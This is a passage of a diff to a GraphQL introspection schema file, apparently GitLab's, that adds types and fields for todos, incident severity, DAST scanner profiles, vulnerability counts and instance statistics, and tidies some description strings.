+ "description": "The maximum number of seconds allowed for the site under test to respond to a request.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "DastScannerProfileUpdatePayload",
+ "description": "Autogenerated return type of DastScannerProfileUpdate",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the scanner profile.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "DastScannerProfileID",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "DastSiteProfile",
- "description": "Represents a DAST Site Profile.",
+ "description": "Represents a DAST Site Profile",
"fields": [
{
"name": "editPath",
@@ -8464,7 +9847,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the annotation to delete",
+ "description": "The global ID of the annotation to delete",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -8547,7 +9930,7 @@
{
"kind": "OBJECT",
"name": "DeleteJobsResponse",
- "description": "The response from the AdminSidekiqQueuesDeleteJobs mutation.",
+ "description": "The response from the AdminSidekiqQueuesDeleteJobs mutation",
"fields": [
{
"name": "completed",
@@ -8605,6 +9988,73 @@
"description": "A single design",
"fields": [
{
+ "name": "currentUserTodos",
+ "description": "Todos for the current user",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "State of the todos",
+ "type": {
+ "kind": "ENUM",
+ "name": "TodoStateEnum",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TodoConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "diffRefs",
"description": "The diff refs for this design",
"args": [
@@ -8983,6 +10433,11 @@
"kind": "INTERFACE",
"name": "DesignFields",
"ofType": null
+ },
+ {
+ "kind": "INTERFACE",
+ "name": "CurrentUserTodos",
+ "ofType": null
}
],
"enumValues": null,
@@ -8991,11 +10446,11 @@
{
"kind": "OBJECT",
"name": "DesignAtVersion",
- "description": "A design pinned to a specific version. The image field reflects the design as of the associated version.",
+ "description": "A design pinned to a specific version. The image field reflects the design as of the associated version",
"fields": [
{
"name": "design",
- "description": "The underlying design.",
+ "description": "The underlying design",
"args": [
],
@@ -9332,7 +10787,7 @@
{
"kind": "OBJECT",
"name": "DesignCollection",
- "description": "A collection of designs.",
+ "description": "A collection of designs",
"fields": [
{
"name": "design",
@@ -10869,6 +12324,108 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "DestroyBoardInput",
+ "description": "Autogenerated input type of DestroyBoard",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The global ID of the board to destroy",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "BoardID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "DestroyBoardPayload",
+ "description": "Autogenerated return type of DestroyBoard",
+ "fields": [
+ {
+ "name": "board",
+ "description": "The board after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Board",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "DestroyNoteInput",
"description": "Autogenerated input type of DestroyNote",
"fields": null,
@@ -12801,7 +14358,7 @@
{
"kind": "OBJECT",
"name": "Epic",
- "description": "Represents an epic.",
+ "description": "Represents an epic",
"fields": [
{
"name": "author",
@@ -13043,6 +14600,73 @@
"deprecationReason": null
},
{
+ "name": "currentUserTodos",
+ "description": "Todos for the current user",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "State of the todos",
+ "type": {
+ "kind": "ENUM",
+ "name": "TodoStateEnum",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TodoConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "descendantCounts",
"description": "Number of open and closed descendant epics and issues",
"args": [
@@ -13821,6 +15445,11 @@
"kind": "INTERFACE",
"name": "Noteable",
"ofType": null
+ },
+ {
+ "kind": "INTERFACE",
+ "name": "CurrentUserTodos",
+ "ofType": null
}
],
"enumValues": null,
@@ -14054,7 +15683,7 @@
{
"kind": "OBJECT",
"name": "EpicDescendantCount",
- "description": "Counts of descendent epics.",
+ "description": "Counts of descendent epics",
"fields": [
{
"name": "closedEpics",
@@ -14262,11 +15891,35 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "EpicID",
+ "description": "Identifier of Epic",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "EpicIssue",
"description": "Relationship between an epic and an issue",
"fields": [
{
+ "name": "alertManagementAlert",
+ "description": "Alert associated to this issue",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "AlertManagementAlert",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "assignees",
"description": "Assignees of the issue",
"args": [
@@ -14406,6 +16059,73 @@
"deprecationReason": null
},
{
+ "name": "currentUserTodos",
+ "description": "Todos for the current user",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "State of the todos",
+ "type": {
+ "kind": "ENUM",
+ "name": "TodoStateEnum",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TodoConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "description",
"description": "Description of the issue",
"args": [
@@ -14893,6 +16613,20 @@
"deprecationReason": null
},
{
+ "name": "severity",
+ "description": "Severity level of the incident",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "ENUM",
+ "name": "IssuableSeverity",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "state",
"description": "State of the issue",
"args": [
@@ -15171,6 +16905,11 @@
"kind": "INTERFACE",
"name": "Noteable",
"ofType": null
+ },
+ {
+ "kind": "INTERFACE",
+ "name": "CurrentUserTodos",
+ "ofType": null
}
],
"enumValues": null,
@@ -15631,7 +17370,7 @@
{
"kind": "ENUM",
"name": "EpicState",
- "description": "State of an epic.",
+ "description": "State of an epic",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -15838,6 +17577,29 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "EpicWildcardId",
+ "description": "Epic ID wildcard values",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "NONE",
+ "description": "No epic is assigned",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "ANY",
+ "description": "Any epic is assigned",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "SCALAR",
"name": "Float",
"description": "Represents signed double-precision fractional values as specified by [IEEE 754](https://en.wikipedia.org/wiki/IEEE_floating_point).",
@@ -15956,7 +17718,7 @@
},
{
"name": "packageFileRegistries",
- "description": "Package file registries of the GeoNode. Available only when feature flag `geo_self_service_framework` is enabled",
+ "description": "Package file registries of the GeoNode. Available only when feature flag `geo_package_file_replication` is enabled",
"args": [
{
"name": "ids",
@@ -16157,6 +17919,77 @@
"deprecationReason": null
},
{
+ "name": "terraformStateRegistries",
+ "description": "Find terraform state registries on this Geo node. Available only when feature flag `geo_terraform_state_replication` is enabled",
+ "args": [
+ {
+ "name": "ids",
+ "description": "Filters registries by their ID",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "TerraformStateRegistryConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "url",
"description": "The user-facing URL for this Geo node",
"args": [
@@ -16843,6 +18676,69 @@
"deprecationReason": null
},
{
+ "name": "groupMembers",
+ "description": "A membership of a user within this group",
+ "args": [
+ {
+ "name": "search",
+ "description": "Search query",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "GroupMemberConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "groupTimelogsEnabled",
"description": "Indicates if Group timelogs are enabled for namespace",
"args": [
@@ -17584,6 +19480,26 @@
"defaultValue": "false"
},
{
+ "name": "search",
+ "description": "Search project with most similar names or paths",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": "null"
+ },
+ {
+ "name": "sort",
+ "description": "Sort projects by this criteria",
+ "type": {
+ "kind": "ENUM",
+ "name": "NamespaceProjectSort",
+ "ofType": null
+ },
+ "defaultValue": "null"
+ },
+ {
"name": "hasVulnerabilities",
"description": "Returns only the projects which have vulnerabilities",
"type": {
@@ -17982,6 +19898,36 @@
"defaultValue": null
},
{
+ "name": "sort",
+ "description": "List vulnerabilities by sort order",
+ "type": {
+ "kind": "ENUM",
+ "name": "VulnerabilitySort",
+ "ofType": null
+ },
+ "defaultValue": "severity_desc"
+ },
+ {
+ "name": "hasResolution",
+ "description": "Returns only the vulnerabilities which have been resolved on default branch",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "hasIssues",
+ "description": "Returns only the vulnerabilities which have linked issues",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -18272,6 +20218,109 @@
"deprecationReason": null
},
{
+ "name": "vulnerabilitySeveritiesCount",
+ "description": "Counts for each vulnerability severity in the group and its subgroups",
+ "args": [
+ {
+ "name": "projectId",
+ "description": "Filter vulnerabilities by project",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "reportType",
+ "description": "Filter vulnerabilities by report type",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityReportType",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "severity",
+ "description": "Filter vulnerabilities by severity",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilitySeverity",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "Filter vulnerabilities by state",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityState",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "scanner",
+ "description": "Filter vulnerabilities by scanner",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilitySeveritiesCount",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "webUrl",
"description": "Web URL of the group",
"args": [
@@ -18300,7 +20349,7 @@
{
"kind": "OBJECT",
"name": "GroupMember",
- "description": "Represents a Group Member",
+ "description": "Represents a Group Membership",
"fields": [
{
"name": "accessLevel",
@@ -18373,6 +20422,24 @@
"deprecationReason": null
},
{
+ "name": "id",
+ "description": "ID of the member",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "updatedAt",
"description": "Date and time the membership was last updated",
"args": [
@@ -18387,6 +20454,24 @@
"deprecationReason": null
},
{
+ "name": "user",
+ "description": "User that is associated with the member object",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "User",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "userPermissions",
"description": "Permissions for the current user on the resource",
"args": [
@@ -18748,6 +20833,284 @@
},
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "vulnerabilitySeveritiesCount",
+ "description": "Counts for each vulnerability severity from projects selected in Instance Security Dashboard",
+ "args": [
+ {
+ "name": "projectId",
+ "description": "Filter vulnerabilities by project",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "reportType",
+ "description": "Filter vulnerabilities by report type",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityReportType",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "severity",
+ "description": "Filter vulnerabilities by severity",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilitySeverity",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "Filter vulnerabilities by state",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityState",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "scanner",
+ "description": "Filter vulnerabilities by scanner",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilitySeveritiesCount",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurement",
+ "description": "Represents a recorded measurement (object count) for the Admins",
+ "fields": [
+ {
+ "name": "count",
+ "description": "Object count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "identifier",
+ "description": "The type of objects being measured",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "MeasurementIdentifier",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "recordedAt",
+ "description": "The time the measurement was recorded",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurementConnection",
+ "description": "The connection type for InstanceStatisticsMeasurement.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurementEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurement",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurementEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurement",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"inputFields": null,
@@ -18769,6 +21132,47 @@
},
{
"kind": "ENUM",
+ "name": "IssuableSeverity",
+ "description": "Incident severity",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "UNKNOWN",
+ "description": "Unknown severity",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LOW",
+ "description": "Low severity",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "MEDIUM",
+ "description": "Medium severity",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "HIGH",
+ "description": "High severity",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "CRITICAL",
+ "description": "Critical severity",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
+ "kind": "ENUM",
"name": "IssuableState",
"description": "State of a GitLab issue or merge request",
"fields": null,
@@ -18808,6 +21212,20 @@
"description": null,
"fields": [
{
+ "name": "alertManagementAlert",
+ "description": "Alert associated to this issue",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "AlertManagementAlert",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "assignees",
"description": "Assignees of the issue",
"args": [
@@ -18947,6 +21365,73 @@
"deprecationReason": null
},
{
+ "name": "currentUserTodos",
+ "description": "Todos for the current user",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "State of the todos",
+ "type": {
+ "kind": "ENUM",
+ "name": "TodoStateEnum",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TodoConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "description",
"description": "Description of the issue",
"args": [
@@ -19406,6 +21891,20 @@
"deprecationReason": null
},
{
+ "name": "severity",
+ "description": "Severity level of the incident",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "ENUM",
+ "name": "IssuableSeverity",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "state",
"description": "State of the issue",
"args": [
@@ -19684,6 +22183,11 @@
"kind": "INTERFACE",
"name": "Noteable",
"ofType": null
+ },
+ {
+ "kind": "INTERFACE",
+ "name": "CurrentUserTodos",
+ "ofType": null
}
],
"enumValues": null,
@@ -19820,6 +22324,16 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "IssueID",
+ "description": "Identifier of Issue",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
"name": "IssueMoveListInput",
"description": "Autogenerated input type of IssueMoveList",
@@ -19889,7 +22403,7 @@
},
{
"name": "moveBeforeId",
- "description": "ID of issue before which the current issue will be positioned at",
+ "description": "ID of issue that should be placed before the current issue",
"type": {
"kind": "SCALAR",
"name": "ID",
@@ -19899,7 +22413,7 @@
},
{
"name": "moveAfterId",
- "description": "ID of issue after which the current issue will be positioned at",
+ "description": "ID of issue that should be placed after the current issue",
"type": {
"kind": "SCALAR",
"name": "ID",
@@ -19908,6 +22422,16 @@
"defaultValue": null
},
{
+ "name": "epicId",
+ "description": "The ID of the parent epic. NULL when removing the association",
+ "type": {
+ "kind": "SCALAR",
+ "name": "EpicID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
@@ -20938,6 +23462,136 @@
},
{
"kind": "INPUT_OBJECT",
+ "name": "IssueSetSeverityInput",
+ "description": "Autogenerated input type of IssueSetSeverity",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "projectPath",
+ "description": "The project the issue to mutate is in",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "iid",
+ "description": "The IID of the issue to mutate",
